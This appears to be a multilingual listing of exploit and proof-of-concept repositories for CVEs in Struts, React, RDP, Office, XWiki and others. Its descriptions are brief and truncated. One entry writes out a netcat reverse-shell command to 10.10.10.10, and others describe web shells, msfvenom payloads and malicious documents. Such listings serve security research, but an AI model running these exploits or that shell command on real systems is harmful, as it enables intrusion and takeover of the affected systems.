CVE-2023-50164-HTB-strutted

CVE-2023-50164: Критическая уязвимость безопасности, идентифицированная как CVE-2023-50164 CVE: 9.8, была обнаружена в Apache Struts, позволяющая злоумышленникам манипулировать параметрами загрузки файлов, что потенциально может привести к несанкционированному обходу пути и удаленному выполнению...

React2Shell-Kingdom

React CVE-2025-55182 취약점 데모 프로젝트 ⚠️ 보안 경고 이 프로젝트는 React Server Components 19.1.1의 심각한 RCE 취약점CVE-2025-55182 / React2Shell을 시연합니다. 교육 및 보안 연구 목적으로만 사용하세요 절대 프로덕션 환경에 배포하거나 신뢰할 수 없는 네트워크에 노출하지 마세요 격리되고 통제된 환경에서만 실행하세요 테스트 전에 적절한 권한을 받았는지 확인하세요 개요 이 프로젝트는 React Server Components 19.1.1의 심각한 원격 코드...

usbhijacking

CVE-2017-8464 PoC Оболочка Windows в Microsoft Windows Server 2008 SP2 и R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold и R2, Windows RT 8.1, Windows 10 Gold, 1511, 1607, 1703 и Windows Server 2016 позволяет локальным пользователям или удаленным злоумышленникам выполнять...

CVE-2021-25646

CVE-2021-25646 Apache Druid Vulnérabilité d'exécution de code à distance Script Wker En cours de rédaction... ===================================================================================== Tout d'abord, merci au grand Wker pour ses réponses à distance. Le but d'écrire ce script est de...

Graver

Graver Description Script de preuve de concept pour exploiter la SSTI+RCE authentifiée dans Grav CMS CVE-2024-28116. Il crée une page RCE malveillante sur le serveur exécutant le Grav CMS vulnérable. Références: https://nvd.nist.gov/vuln/detail/CVE-2024-28116 Notes Comme il s'agit d'une...

RCE-CVE-2025-32710

RCE-CVE-2025-32710 Уязвимость в службах удаленного рабочего стола Windows позволяет удаленное выполнение кода 💥 RDP Auto-Pwn RCE-CVE-2025-32710 Eksploitasi Otomatis untuk Layanan RDP yang Rentan BlueKeep & Beyond 🔓 Membuat akun admin • 🪟 Mengaktifkan RDP • 📶 Verifikasi akses otomatis --- ⚠️...

msf-module-CVE-2019-0708

CVE-2019-0708 Bluekeep Module Metasploit pour CVE-2019-0708 BlueKeep Tiré de https://github.com/rapid7/metasploit-framework/tree/5a0119b04309c8e61b44763ac08811cd3ecbbf8d/modules/exploits/windows/rdp et corrigé Instructions de copie de fichiers 1. Créez un dossier nommé 'rdp' dans...

Exploit-PoC-CVE-2021-40444-inject-ma-doc-vao-docx

CVE-2021-40444 PoC Генератор вредоносных docx для эксплуатации CVE-2021-40444 удаленное выполнение кода в Microsoft Office Word Создание этого скрипта основано на обратной разработке семпла, использовавшегося в реальных атаках: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 файл...

CVE-2025-55182-Test-Server

CVE-2025-55182-Тестовый-сервер Поиграйте с react2shell в безопасной среде! Быстрый старт Клонируйте репозиторий git clone https://github.com/CharlesTheGreat77/CVE-2025-55182-Test-Server cd CVE-2025-55182-Test-Server Запустите docker-файл docker compose up --build -d PoC curl -s -X POST...

CVE-2024-47533-Cobbler-XMLRPC-Authentication-Bypass-RCE-Exploit-POC

CVE-2024-47533 - Эксплойт RCE через обход аутентификации XMLRPC в Cobbler ⚠️ Критическое удалённое выполнение кода через обход аутентификации в Cobbler 🛠️ PoC-реализация от @dollarboysushil 💡 Обзор Cobbler — сервер установки Linux, который обеспечивает быструю настройку сред сетевой установки,...

detect-CVE-2019-15107-by-pyshark

detect-CVE-2019-15107-by-pyshark I. Обзор CVE-2019-15107 Webmin — это веб-интерфейс для системного администрирования Unix. С помощью любого веб-браузера можно настраивать учетные записи пользователей, Apache, DNS, общий доступ к файлам и многое другое. 10 августа 2019 года турецкий исследователь...

CVE-2019-17633

CVE-2019-17633 CSRF-уязвимость Eclipse Che, приводящая к RCE Эта ошибка позволяет удалённому веб-сайту создавать и запускать произвольный docker-контейнер на машинах с версиями Che до 7.3.0 и 7.4.1, когда пользователь посещает веб-страницу. Уязвимость Это CSRF-ошибка, которая позволяет удалённому...

Next.js-RSC-RCE-Scanner-CVE-2025-66478

Сканер RSC RCE для Next.js и коллекция POC/эксплойтов CVE-2025-66478 Командный сканер для массового обнаружения версий приложений Next.js и определения, подвержены ли они уязвимости CVE-2025-66478. Этот сканер не эксплуатирует уязвимость Описание уязвимости https://nextjs.org/blog/CVE-2025-66478...

CVE-2025-24893

CVE-2025-24893 Exploit d'exécution de code à distance pour XWiki pour les versions antérieures à 15.10.11, 16.4.1 et 16.5.0RC1. Utilisation $ python3 CVE-2025-24893.py -t 'http://example.com:8080' -c 'busybox nc 10.10.10.10 9001 -e /bin/bash' Utilisez-le uniquement à des fins éthiques :...

Blackash-CVE-2025-54574

🛑 CVE-2025-54574 — Переполнение буфера кучи в Squid ≤ 6.3 🛑 Критичность: Критическая CVSS 9.3 Затронутое ПО: Squid Proxy версии 6.3 и ранее Тип уязвимости: Переполнение буфера на основе кучи Обнаружена в: обработке URN Uniform Resource Name Воздействие: Возможное удаленное выполнение кода или отк...

cve-2020-29007

Идентификатор CVE : CVE-2020-29007 Название затронутого продукта и версии : Mediawiki Score все версии до 0.3.0 Тип проблемы : CWE-96: Неправильная нейтрализация директив в статически сохранённом коде «Статическая инъекция кода» Сводка Score — это расширение Mediawiki, которое генерирует нотную...

CVE-2019-6340

CVE-2019-6340 Drupal8 REST RCE, SA-CORE-2019-003 0x01 docker search CVE-2019-6340 NAME DESCRIPTION STARS OFFICIAL AUTOMATED knqyf263/cve-2019-6340 Environment for CVE-2019-6340 Drupal 0 cved/cve-2019-6340 cve-2019-6340 0 0x02 docker pull knqyf263/cve-2019-6340 Using default tag: latest latest:...

CVE-2021-40444

CVE-2021-40444 entièrement armé Générateur de docx malveillant pour exploiter CVE-2021-40444 Exécution de code à distance dans Microsoft Office Word, fonctionne avec des fichiers DLL arbitraires. Contexte Bien que de nombreux PoC existent déjà sur Internet, j'ai décidé de me lancer dans l'armemen...

CVE-2025-59712_CVE-2025-59713

PoC для CVE-2025-59712 и CVE-2025-59713 Этот PoC предоставляет автоматизированный скрипт для эксплуатации CVE-2025-59712 XSS в заголовке User-Agent и CVE-2025-59713 небезопасная десериализация. Контекст Эти две уязвимости были обнаружены компанией Synacktiv в ходе исследования безопасности...

CVE-2023-45878_to_RCE

CVE-2023-45878 до RCE Этот скрипт объединяет и автоматизирует запись произвольных файлов в RCE на Gibbon LMS через эксплуатацию CVE-2023-45878. Скрипт выполняет следующие шаги: 1. Генерирует stageless reverse shell с помощью msfvenom для Windows 2. Загружает веб-шелл, эксплуатирующий CVE-2023-458...